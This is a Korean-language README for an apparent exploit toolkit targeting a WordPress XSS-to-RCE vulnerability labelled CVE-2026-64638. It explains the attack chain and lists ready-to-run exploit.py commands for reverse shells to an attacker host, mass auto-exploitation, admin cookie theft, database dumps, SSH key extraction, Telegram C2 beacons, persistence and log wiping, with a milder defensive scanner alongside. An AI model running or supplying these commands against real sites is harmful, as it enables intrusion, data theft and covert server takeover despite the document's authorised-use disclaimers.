
🌀 CVE‑2026‑64638 – WordPress XSS2Shell 보안 제품군

⚠️ 윤리적 사용 전용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루 팀, 침투 테스터만을 위한 도구를 제공합니다.
승인되지 않은 컴퓨터 시스템 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
📖 취약점 개요
CVE‑2026‑64638은 WordPress 핵심 버전 4.7.0~7.0.2에서 발견된 중요한 사전 인증 반사형 XSS 취약점으로, 공격자가 Application Password 기능을 통해 XSS 공격을 **완전한 원격 코드 실행(RCE)**으로 승격시킬 수 있습니다.
작동 방식
- 파서 차이(Parser Differential) – PHP의
strip_tags()와 WordPress의 wp_kses_post()는 HTML 태그를 다르게 파싱하므로 악의적인 입력이 삭제(새니타이즈) 과정을 통과할 수 있습니다.
- 반사형 XSS(Reflected XSS) – 공격자가 로그인 폼(
wp-login.php)에 특수 제작된 페이로드를 주입합니다. 로그인 실패 시 페이로드가 다시 반사되어 피해자의 브라우저에서 실행됩니다.
- Application Password 악용 – 주입된 JavaScript가 WordPress REST API를 통해 Application Password를 자동으로 생성하고 이를 공격자에게 유출합니다.
- 플러그인 업로드(RCE) – 탈취한 Application Password를 사용하여 공격자가 관리자 패널에 인증하고 웹셸을 포함한 악성 플러그인을 업로드합니다.
- 전체 시스템 장악 – 웹셸이 시스템 명령 실행을 제공하여 리버스 셸, 지속성, 수평 이동 및 완전한 서버 장악을 가능하게 합니다.
영향을 받는 버전
- WordPress 4.7.0 – 7.0.2 – 취약함
- WordPress 7.0.3 이상 – 패치됨
- 보안 업데이트는 유지 관리되는 모든 브랜치에 백포팅되었습니다
패치
- WordPress 7.0.3 이상으로 업그레이드하세요.
- 업그레이드가 불가능한 경우 임시 해결책으로 Application Password 기능을 비활성화하세요.
🧰 도구
| 도구 | 용도 | 대상 사용자 |
|---|
exploit.py | 리버스 셸, 지속성, C2, 권한 상승, 메모리 포렌식, 데이터베이스 덤프, SSH 키 추출 및 대량 스캔을 포함한 전체 익스플로잇 툴킷. | 레드 팀 / 승인된 침투 테스터 |
safecheck.py | 악성 페이로드를 실행하지 않고 XSS 반사를 탐지하고 보안 상태를 평가하는 비침습적 취약점 검사기. 상세 보고서를 생성합니다. | 블루 팀 / 보안 감사자 |
📊 기능 비교
| 기능 | exploit.py | safecheck.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| WordPress 버전 탐지 | ✅ | ✅ |
| XSS 반사 탐지 | ✅ | ✅ |
| Application Password 캡처 | ✅ | ❌ |
| 플러그인 업로드(RCE) | ✅ | ❌ |
| 리버스 셸 | ✅ | ❌ |
| C2 비콘(HTTP/DNS/Telegram) | ✅ | ❌ |
| 권한 상승 | ✅ | ❌ |
| 메모리 포렌식 | ✅ | ❌ |
| 데이터베이스 덤프 | ✅ | ❌ |
| SSH 키 추출 | ✅ | ❌ |
| 지속성 방법 | ✅ | ❌ |
| 보안 헤더 감사 | ❌ | ✅ |
| 구성 파일 노출 확인 | ❌ | ✅ |
| 디렉터리 목록 노출 확인 | ❌ | ✅ |
| phpinfo 노출 확인 | ❌ | ✅ |
| 대량 스캔 | ✅ | ✅ |
| 프록시 지원 | ✅ | ✅ |
| Tor 지원 | ✅ | ✅ |
| Ngrok 터널링 | ✅ | ❌ |
| 인터랙티브 셸 | ✅ | ❌ |
| 비침습적(안전) 모드 | ❌ | ✅ |
| JSON / 보고서 출력 | ✅ | ✅ |
🎯 사용 사례 요약
| 시나리오 | 권장 도구 |
|---|
| 블루 팀 – WordPress 설치가 취약한지 확인 | safecheck.py |
| 보안 감사 – 비침습적 취약점 평가 | safecheck.py |
| 레드 팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safecheck.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py 또는 safecheck.py |
| 침해 사고 대응 – 시스템 침해 여부 확인 | safecheck.py |
| 고급 사후 익스플로잇 – 지속성, C2, 포렌식 | exploit.py |
⚙️ 설치
git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt
requirements.txt
requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]
📋 매개변수
exploit.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 WordPress URL (예: https://wordpress-site.com) |
-l, --list | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나) |
--lhost | 리버스 셸 콜백용 로컬 IP 주소 |
--lport | 리버스 셸용 로컬 포트 (기본값: 4444) |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--timeout | 요청 제한 시간(초) (기본값: 10) |
--retry | 재시도 횟수 (기본값: 3) |
--threads | 대량 스캔용 스레드 수 (기본값: 5) |
--exploit | 대량 스캔 중 취약한 대상을 자동 익스플로잇 |
--ngrok-token | 외부 터널링용 Ngrok 인증 토큰 |
--payload-type | XSS 페이로드 유형: reflected, dom_based, waf_bypass, case_manipulation, double_encoded |
--session-hijack | 세션 하이재킹 활성화 (관리자 쿠키 탈취) |
--dump-db | WordPress 데이터베이스 덤프 (pymysql 필요) |
--extract-ssh | 대상 시스템에서 SSH 키 추출 |
--tor | Tor를 통해 트래픽 라우팅 (socks5h://127.0.0.1:9050) |
--stealth | 스텔스 모드 활성화 (헤더 스푸핑, 요청 지연) |
--no-cleanup | 익스플로잇 후 로그 정리 건너뛰기 |
--ssl-verify | SSL 인증서 검증 |
--c2-type | C2 유형: http, dns, telegram |
--c2-server | C2 서버 URL 또는 Telegram 봇 토큰 |
--auto-priv-esc | 셸 획득 후 자동 권한 상승 |
--memory-forensics | 메모리 포렌식 모듈 활성화 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 (최소 출력) |
safecheck.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 WordPress URL (예: https://wordpress-site.com) |
-l, --list | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나) |
--timeout | 요청 제한 시간(초) (기본값: 10) |
--retry | 재시도 횟수 (기본값: 3) |
--threads | 대량 스캔용 스레드 수 (기본값: 5) |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor를 통해 트래픽 라우팅 (socks5h://127.0.0.1:9050) |
--ssl-verify | SSL 인증서 검증 |
--output | 출력 JSON 보고서 파일 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 (최소 출력) |
💥 시나리오
| # | 시나리오 | 명령어 |
|---|
| 1 | 빠른 취약점 확인 | python safecheck.py -t https://wordpress-site.com |
| 2 | 보고서가 포함된 상세 스캔 | python safecheck.py -t https://wordpress-site.com --output report.json -v |
| 3 | 리버스 셸을 포함한 전체 익스플로잇 | python exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit |
| 4 | 사용자 지정 XSS 페이로드 사용 | python exploit.py -t https://wordpress-site.com --payload-type waf_bypass |
| 5 | 세션 하이재킹 (관리자 쿠키 탈취) | python exploit.py -t https://wordpress-site.com --session-hijack |
| 6 | WordPress 데이터베이스 덤프 | python exploit.py -t https://wordpress-site.com --dump-db |
| 7 | SSH 키 추출 | python exploit.py -t https://wordpress-site.com --extract-ssh |
| 8 | 익명성을 위한 Tor 사용 | python exploit.py -t https://wordpress-site.com --tor --stealth |
| 9 | Telegram을 통한 C2 비콘 | python exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id" |
| 10 | 파일에서 대량 스캔 | python exploit.py -l targets.txt --threads 10 --exploit |
| 11 | 셸 획득 후 메모리 포렌식 | python exploit.py -t https://wordpress-site.com --memory-forensics |
| 12 | 자동 권한 상승 | python exploit.py -t https://wordpress-site.com --auto-priv-esc |
| 13 | 인터랙티브 셸 | python exploit.py -t https://wordpress-site.com -i |
| 14 | Ngrok 터널링 | python exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN |
📊 인터랙티브 셸 명령어
| 명령어 | 설명 |
|---|
reverse | 리버스 셸 리스너 시작 |
persist | 지속성 방법 적용 (cron, systemd, rc.local, SSH, WP) |
clean | 시스템 로그 및 기록 정리 |
dumpdb | WordPress 데이터베이스 덤프 |
ssh | SSH 키 추출 |
priv | 자동 권한 상승 |
mem | 메모리 포렌식 실행 |
c2 | C2 상태 표시 |
c2task | C2 작업 확인 |
exit | 인터랙티브 셸 종료 |
🧪 엔드포인트 및 API 사용
| 엔드포인트 | 용도 |
|---|
/wp-login.php | 로그인 페이지 – XSS 주입 지점 |
/wp-admin/authorize-application.php | Application Password 생성 |
/wp-admin/update.php?action=upload-plugin | 플러그인 업로드 (RCE) |
/wp-content/plugins/{slug}/{slug}.php | 웹셸 실행 |
🛡️ 책임 있는 사용
- 본인이 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 이러한 도구를 사용하세요.
- 승인되지 않은 접근은 불법이며 비윤리적입니다.
- 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
- 항상 해당 국가의 법률과 규정을 준수하세요.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
법적 준수
| 국가 | 관련 법률 |
|---|
| 미국 | Computer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030 |
| 영국 | Computer Misuse Act 1990 |
| 터키 | TCK 243 (무단 접근), TCK 244 (시스템 간섭) |
| 독일 | StGB § 202a (데이터 스파이), § 202b (데이터 가로채기) |
| 프랑스 | Loi Godfrain – Article 323-1 |
| 호주 | Cybercrime Act 2001 |
| 캐나다 | Criminal Code – Section 342.1 |
| 인도 | Information Technology Act 2000 – Section 43, 66 |
| 일본 | Act on Prohibition of Unauthorized Computer Access |